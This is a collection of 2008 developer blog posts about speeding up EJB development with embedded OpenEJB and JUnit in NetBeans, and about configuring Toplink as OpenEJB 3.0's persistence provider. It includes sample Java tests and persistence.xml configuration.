Happy to work with whatever technology you’ve picked, “all technologies are good”
Doesn’t seem too smart
Started programming at university
All programming experience is on the CV
Focused mainly on one or two technology stacks (e.g. everything to do with developing a java application), with no experience outside of it

I recommend reading the full article: http://www.inter-sections.net/2007/11/13/how-to-recognise-a-good-programmer/

Rapid EJB Development with Unit Tests

2008-08-16T18:12:00.001+02:00

Anyone who develops EJBs know that development can be a tedious and slow process. This is because JavaEE application servers are heavy and have slow startup and deployment times. So every time you make a change to your bean, you have to redeploy it and due to the nature of web applications, many of these go paired with a series of steps you need to complete to bring your application to the state it was in previously.

Much of this can be improved by creating servlets/pages dedicated to the current development task, which in some ways can be seen as a unit test. Though even with this you are still slowed down by the deploy requirement. On top of this, deploying only the EJB jar isn't always enough. With some setups you need to restart/redeploy your WAR for it to update the EJB references.

This can be very frustrating at times, especially when you're under pressure to fix a bug, you're running out of time or when you're just plain struggling and have change/compile/deploy has become routine. Naturally I try and optimize everything I do as well as the techniques to do them, but EJB development is something I've never really been able to optimize to a level which can be labeled "Satisfactory". At least not until a few weeks ago.

I've known of OpenEJB for a long time. During one of my routine joins to #openejb on Freenode to see how things are progressing, and to talk to David Blevins (cofounder and developer of OpenEJB, as well as a great person), I discovered how much OpenEJB has matured with their 3.0 release. I decided to give it a go and downloaded the Tomcat release, which is basically just a WAR you deploy as a Tomcat web application enabling Tomcat to run EJBs.

It was good, and my development speed improved quite a bit since Tomcat starts up much quicker, takes up less memory, and deploys much faster than Glassfish. I started using Tomcat for development and every now and then would deploy into Glassfish (which is our production application server) to see if everything is still working fine, fixing compatibility bugs when needed.

At one point I ran into a minor problem and decided to join #openejb again (this time for support). While talking to David Blevins, the conversation came to him convincing me to give OpenEJB's embedded mode a try by creating a simple unit test. He offered to take me through it step by step.

I decided to take his offer to the test (excuse the pun), and downloaded the OpenEJB 3.0 jar. It was a very simple process. I just instructed Netbeans to create a JUnit test for one of my EJBs, included the OpenEJB JAR archives to the list of test libraries and added some initialization code to the test case's setup method.

That was it. The next step was to run the test, and it all worked. In less than 5 minutes I was up and running, and my average compile-to-test time decreased from about 90 seconds to under 20 seconds. Not only this but now, whenever I make changes to my entities and/or EJBs, I can run my test suite to ensure that everything is still working as the design intends it to be.

I can truly say that embedded OpenEJB makes EJB development much easier, and definitely more comfortable. Still having to do development of my JSF pages the old fashioned way (compile/deploy/test) I am always reminded about how much of a different OpenEJB has made for me.

Time saving put aside, what else makes OpenEJB a fantastic piece of software?

Well, what doesn't? The developers of OpenEJB truly put a lot of effort into making your life easier. When I run into an error/exception in my EJBs, I've come to the habit of reproducing it in a unit test, and running it through OpenEJB.

Why, you ask? Because of the error messages/suggestions. Depending on the log level it has been configured with, OpenEJB gives different and always very descriptive error messages, sometimes even making suggestions on how to fix it.

David demonstrated this to me the first time with this example. To inject an EntityManager you annotate it's declaration with @PersistenceContext. For example:

  @PersistenceContext
  private EntityManager em;

If you accidentally use this annotation to inject an EntityManagerFactory, OpenEJB will give the following error message:
ERROR - FAIL ... BusinessFacadeBean: Mistaken use of @PersistenceContext on an EntityManagerFactory reference. Use @PersistenceUnit for ref "vds.facades.BusinessFacadeBean/em"

Not only does it tell you exactly what you did wrong, but also makes a suggestion as to how to fix it. There are many of these suggestions.

If you haven't tried it yet, I definitely recommend doing so as soon as you can. I postponed trying for a very long time, and definitely regret having done so. I wish I started developing EJBs this way since the beginning.

Give it a try

If you decide to try it, here is a quick howto. These instructions are for Netbeans. If you use another IDE, adapt them appropriately (same goes for using Ant scripts).
In this example I will use an example EJB TestStatelessBean, with a Local interface TestStatelessLocal.

Download the OpenEJB zip/tar and extract it.

From the extracted files copy the “lib” directory to desired location (You can skip this step if you wish).

Inside your Netbeans project, right-click the “Test Libraries” node, and select “Add JAR/Folder...”

Navigate to “lib” directory in (1) and select all of the JAR libraries contained within. Then click “OK”

Now right-click the “Test Packages” node, and select “New->Test for an Existing Class”

Follow the instructions, selecting one of your EJBs as the class you're creating a test for, in this example: TestStatelessBean

A class called TestStatelessBeanTest will be created, with test methods (identifiable with the @Test annotation) for each of it's methods. Clean out/delete these @Test methods, since they create instances of your EJBs instead of doing InitialContext lookups. Besides, we are doing a simple test.

Now, add the following initialization code to the setup method:

Properties properties = new Properties();
properties.setProperty(Context.INITIAL_CONTEXT_FACTORY,
 "org.apache.openejb.client.LocalInitialContextFactory");
InitialContext initialContext = new InitialContext(properties);
TestStatelessLocal testStateless = 
  (TestStatelessLocal) initialContext.lookup("TestStatelessBeanLocal");
testStateless.testMethod();

And run your test.

That's it. The basic idea is just to add the OpenEJB JARs to your classpath, initialize the InitialContext and then do the EJB lookups (as shown in step 8). Note that you need an ejb-jar.xml in your META-INF directory. If it's not there, just create an empty one with contents: <ejb-jar/>). See the end of this article for complete source code of all examples mentioned throughout this blog entry.

Injection with @Resource, @PersistenceContext, @EJB and so forth will be done on any classes constructed by OpenEJB, ex. EJBs. So if we were to add an entity manager to our TestStatelessBean, we can do so by annotating it with @PersistenceContext and OpenEJB will take care of the rest. You can also configure custom injection for your classes, which can be very useful for things like debugging/logging.

OpenEJB ships with ActiveMQ as it's JMS provider so Message Driven Beans are supported, and OpenJPA as it's persistence provider for entity beans. Since you're probably using another persistence provider with your application server, you're likely to want to test your entities using this provider. Configuring OpenEJB for your provider is beyond the scope of this document, but completely possible and not difficult at all. Just set your <provider> in persistence.xml and you should be good to go. This is fine more most cases, Toplink not being one of them (though OpenEJB 3.1 now has support for Toplink as your persistence provider). Click here for instructions on how to configure Toplink as your OpenEJB persistence provider.

I can go on forever about the benefits of OpenEJB, though I'm rather going to leave the discovery of them up to you.

Enjoy, and be sure to check out the many OpenEJB example code provided on their site!

Links
OpenEJB home: http://openejb.apache.org/
Download OpenEJB: http://openejb.apache.org/download.html
Mailing Lists: http://openejb.apache.org/mailing-lists.html

Example Sources
test/openejb/TestStatelessBean.java

/*
 * Test Stateless Bean
 */
package test.openejb;

import javax.ejb.Stateless;

@Stateless
public class TestStatelessBean implements TestStatelessLocal
{
  public void testMethod()
  {
    System.out.println("Beautiful!");
  }
}

test/openejb/TestStatelessLocal.java

package test.openejb;

import javax.ejb.Local;

@Local
public interface TestStatelessLocal {

  void testMethod();
    
}

META-INF/ejb-jar.xml

<?xml version="1.0" encoding="UTF-8"?>
<ejb-jar/>

test/openejb/TestStatelessBeanTest.java

/*
 * OpenEJB JUnit demonstration test
 */
package test.openejb;

import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;

public class TestStatelessBeanTest
{
  TestStatelessLocal testStateless;
    
  public TestStatelessBeanTest()
  {
  }

  @BeforeClass
  public static void setUpClass() throws Exception
  {
  }

  @AfterClass
  public static void tearDownClass() throws Exception
  {
  }

  @Before
  public void setUp() throws Exception
  {
    Properties properties = new Properties();
    properties.setProperty(Context.INITIAL_CONTEXT_FACTORY,
      "org.apache.openejb.client.LocalInitialContextFactory");
    InitialContext initialContext = new InitialContext(properties);
    testStateless = 
      (TestStatelessLocal) initialContext.lookup("TestStatelessBeanLocal");
  }

  @Test
  public void testTestMethod()
  {
    testStateless.testMethod();
  }
}

Toplink as your OpenEJB Persistence Provider

2008-08-15T23:28:00.004+02:00

OpenEJB is probably the best EJB implementation in my opinion, for many reasons I'm not going to elaborate on.

Specifically one of them is it's great embedded mode, which can be used for rapid EJB development and JUnit testing. My setup involves writing JUnit tests, and then developing the EJBs and running the tests, making changes and running the tests, until the tests all succeed. Then I take a deep breath, take a sip of coffee, and smile while I sit back with a feeling of satisfaction and gratitude.
a
Either way. Our software runs on Glassfish, with Toplink as the persistence provider. OpenEJB runs with OpenJPA by default, and the changes between Toplink and OpenJPA are large enough to become problematic if you follow the development approach I use.

For this reason I decided to setup Toplink in OpenEJB. Previously I had a similar struggle getting it to run in Tomcat, though I can't recall if it was the same problem. So, I got it running, and figured I'd share the solution, since there aren't much clear resources on the internet on how to do it.

This solution shouldn't be necessary with OpenEJB 3.1, but since 3.0 is the current stable release, and the only binary download available, I put it up anyway.

So here goes. This example builds a JUnit test in Netbeans. So when adding libraries and making classes, do it in the Testing Libraries and Test classes nodes.

Firstly, ensure that you have the following libraries in your classpath:

toplink-essentials.jar
toplink-essentials-agent.jar
All OpenEJB libs
Whatever JDBC drivers are required by your datasource (which is setup with InitialContext properties). In this example it would be: postgresql-8.3.jdbc3.jar

Then, configure your persistence.xml as follows:

<?xml version="1.0" encoding="UTF-8"?>
<persistence version="1.0" xmlns="http://java.sun.com/xml/ns/persistence"
  xsi="http://www.w3.org/2001/XMLSchema-instance"
  schemalocation="http://java.sun.com/xml/ns/persistence http://java.sun.com/xml/ns/persistence/persistence_1_0.xsd">
<persistence-unit name="OpenEJB-ejbPU" type="JTA">
 <provider>oracle.toplink.essentials.ejb.cmp3.EntityManagerFactoryProvider</provider>
 <jta-data-source>openejbDatasource</jta-data-source>
 <properties>
 </properties>
</persistence-unit>
</persistence>

For OpenEJB to correctly initialize/load Toplink, it needs to know how. This has been automated in OpenEJB 3.1, so for 3.0, create the following class in your test class:

/*
* Transaction controller for OpenEJB standalone/embedded and Toplink
*/
package org.apache.openejb.toplink.openejb;

import javax.transaction.TransactionManager;
import oracle.toplink.essentials.transaction.JTATransactionController;

public class OpenEJBTransactionController extends JTATransactionController
{
public static final String JNDI_TRANSACTION_MANAGER_NAME =
  "java:comp/TransactionManager";

public OpenEJBTransactionController()
{
  super();
}

@Override
protected TransactionManager acquireTransactionManager() throws Exception
{
  return (TransactionManager) jndiLookup(JNDI_TRANSACTION_MANAGER_NAME);
}
}

The JUnit test class. Check the setUpClass() method for the InitialContext configuration.

package testing.facades;

import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import org.junit.BeforeClass;
import org.junit.Test;
import static org.junit.Assert.*;

public class JUnitEJBTest
{
static MyEJBLocal myEJB;

@BeforeClass
public static void setUpClass() throws Exception
{
 Properties properties = new Properties();
 properties.setProperty(Context.INITIAL_CONTEXT_FACTORY, "org.apache.openejb.client.LocalInitialContextFactory");

 properties.put("openejbDatasource", "new://Resource?type=DataSource");
 properties.put("openejbDatasource.JdbcDriver", "org.postgresql.Driver");
 properties.put("openejbDatasource.JdbcUrl", "jdbc:postgresql://localhost:5432/vds_test");
 properties.put("openejbDatasource.UserName", "vds");
 properties.put("openejbDatasource.Password", "vds");

 System.getProperties().setProperty("toplink.target-server", "org.apache.openejb.toplink.openejb.OpenEJBTransactionController");
 System.getProperties().setProperty("toplink.ddl-generation", "drop-and-create-tables");
 System.getProperties().setProperty("toplink.logging.level", "INFO");
 System.getProperties().setProperty("toplink.create-ddl-jdbc-file-name", "create.sql");
 System.getProperties().setProperty("toplink.ddl-generation.output-mode", "both");

 InitialContext initialContext = new InitialContext(properties);

 myEJB = (MyEJBLocal) initialContext.lookup("MyEJBBeanLocal");
}

/**
* Calls an enterprise bean that creates a few entities
*/
@Test
public void testMyBean()
{
 System.out.println("Testing my EJB bean with toplink");
 myEJB.entityTest();
}
}

Notes and afterword

The datasource name specified in persistence.xml is the same one used to create the properties for the initial context. In this example it is "openejbDatasource". You can setup multiple datasources in this way, though I haven't tried it and don't know how this would work.

It should work just as it would in Glassfish or Geronimo, or whatever application server you are using Toplink with.

In this example toplink is configured to drop and create tables with every run. You can remove this behaviour all together by commenting the properties:

toplink.ddl-generation
toplink.create-ddl-jdbc-file-name
toplink.ddl-generation.output-mode

You can change it to ONLY create tables (not drop them) by changing the "toplink.ddl-generation" property's value to: create-tables.

These toplink properties can also be specified in persistence.xml where they usually go. Example:
.....

<persistence-unit name="OpenEJB-ejbPU" type="JTA">
 <provider>oracle.toplink.essentials.ejb.cmp3.EntityManagerFactoryProvider</provider>
 <jta-data-source>openejbDatasource</jta-data-source>
 <properties>
   <property name="toplink.ddl-generation" value="create-tables">
 </property>
</properties>
</persistence-unit>

.....

Furthermore, you can configure any extra properties as usual, following the general style/layout used in this example.

If you get stuck, or run into errors, you can e-mail me. I struggled with this twice already, and have learned a lot in the process.

Also, to use a different transaction type, just change the persistence.xml as you would do normally. Though I haven't tested/tried it with any other. I also heard that there are problems when using <non-jta-data-source>, though I don't know if this is true. If you make any new discoveries, please let me know.

The need for the transaction controller class has been removed in OpenEJB 3.1 which has automatic support for Toplink.

** I posted a follow up to this post for using Toplink/EclipseLink with OpenEJB 3.1. Click here to read Toplink with OpenEJB 3.1 **

Enjoy
Quintin Beukes